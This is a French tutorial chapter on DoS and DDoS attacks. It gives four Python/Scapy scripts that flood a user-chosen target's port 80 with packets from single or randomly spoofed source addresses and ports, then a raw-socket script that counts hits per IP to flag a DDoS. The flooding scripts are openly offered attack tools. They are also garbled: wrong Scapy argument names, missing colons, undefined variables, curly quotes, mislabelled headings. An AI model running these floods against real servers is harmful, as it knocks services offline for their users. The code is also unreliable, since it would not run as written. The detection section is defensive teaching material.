Attaque DoS et DDoS

Dans ce chapitre, nous allons découvrir les attaques DoS et DdoS et comprendre comment les détecter.

Avec l'essor de l'industrie du commerce électronique, le serveur Web est désormais sujet aux attaques et constitue une cible facile pour les pirates. Les pirates tentent généralement deux types d'attaques -

  • DoS (déni de service)
  • DDoS (déni de service distribué)

Attaque DoS (déni de service)

L'attaque par déni de service (DoS) est une tentative de pirates pour rendre une ressource réseau indisponible. Il interrompt généralement l'hôte, temporairement ou indéfiniment, qui est connecté à Internet. Ces attaques ciblent généralement des services hébergés sur des serveurs Web critiques tels que les banques, les passerelles de paiement par carte de crédit.

Symptômes d'attaque DoS

  • Performances réseau inhabituellement lentes.

  • Indisponibilité d'un site Web particulier.

  • Incapacité d'accéder à un site Web.

  • Augmentation spectaculaire du nombre de spams reçus.

  • Refus à long terme d'accès au Web ou à tout service Internet.

  • Indisponibilité d'un site Web particulier.

Types d'attaque DoS et son implémentation Python

L'attaque DoS peut être implémentée au niveau de la liaison de données, du réseau ou de la couche application. Découvrons maintenant les différents types d'attaques DoS &; leur implémentation en Python -

Port unique IP unique

Un grand nombre de paquets sont envoyés au serveur Web en utilisant une seule adresse IP et à partir d'un seul numéro de port. Il s'agit d'une attaque de bas niveau utilisée pour vérifier le comportement du serveur Web. Son implémentation en Python peut se faire à l'aide de Scapy. Le script python suivant aidera à implémenter l'attaque DoS à port unique IP unique -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Lors de l'exécution, le script ci-dessus demandera les trois choses suivantes -

  • Adresse IP de la source et de la cible.

  • Adresse IP du numéro de port source.

  • Il enverra alors un grand nombre de paquets au serveur pour vérifier son comportement.

Port unique IP multiple

Un grand nombre de paquets sont envoyés au serveur Web en utilisant une seule adresse IP et à partir de plusieurs ports. Son implémentation en Python peut se faire à l'aide de Scapy. Le script python suivant aidera à implémenter l'attaque DoS à IP unique sur plusieurs ports -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Port unique IP multiple

Un grand nombre de paquets sont envoyés au serveur Web en utilisant plusieurs adresses IP et à partir d'un seul numéro de port. Son implémentation en Python peut se faire à l'aide de Scapy. Le script Python suivant implémente l'attaque DoS à IP unique sur plusieurs ports -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Plusieurs ports IP multiples

Un grand nombre de paquets sont envoyés au serveur Web en utilisant plusieurs adresses IP et à partir de plusieurs ports. Son implémentation en Python peut se faire à l'aide de Scapy. Le script Python suivant aide à implémenter une attaque DoS à plusieurs IP sur plusieurs ports -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Attaque DDoS (déni de service distribué)

Une attaque par déni de service distribué (DDoS) est une tentative de rendre un service en ligne ou un site Web indisponible en le surchargeant d'énormes flots de trafic générés à partir de plusieurs sources.

Contrairement à une attaque par déni de service (DoS), dans laquelle un ordinateur et une connexion Internet sont utilisés pour inonder une ressource ciblée de paquets, une attaque DDoS utilise de nombreux ordinateurs et de nombreuses connexions Internet, souvent distribuées dans le monde entier dans ce que l'on appelle un botnet . Une attaque DDoS volumétrique à grande échelle peut générer un trafic mesuré en dizaines de Gigabits (et même en centaines de Gigabits) par seconde. Il peut être lu en détail sur.

Détection de DDoS à l'aide de Python

En fait, l'attaque DDoS est un peu difficile à détecter car vous ne savez pas que l'hôte qui envoie le trafic est faux ou réel. Le script Python ci-dessous aidera à détecter l'attaque DDoS.

Pour commencer, importons les bibliothèques nécessaires -

import socket
import struct

from datetime import datetime

Maintenant, nous allons également créer une socket comme nous l'avons créée dans les sections précédentes.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Nous utiliserons un dictionnaire vide -

dict = {}

La ligne de code suivante ouvrira un fichier texte, contenant les détails de l'attaque DDoS en mode ajout.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

À l'aide de la ligne de code suivante, l'heure actuelle sera écrite à chaque exécution du programme.

file_txt.writelines(t1)
file_txt.writelines("\n")

Maintenant, nous devons supposer les hits d'une adresse IP particulière. Ici, nous supposons que si une adresse IP particulière frappe plus de 15 fois, ce sera une attaque.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

La ligne de code suivante vérifiera si l'adresse IP existe dans le dictionnaire ou non. S'il existe, il l'augmentera de 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

La ligne de code suivante est utilisée pour supprimer la redondance.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Après avoir exécuté le script ci-dessus, nous obtiendrons le résultat dans un fichier texte. Selon le script, si une adresse IP frappe plus de 15 fois, elle sera imprimée car une attaque DDoS est détectée avec cette adresse IP.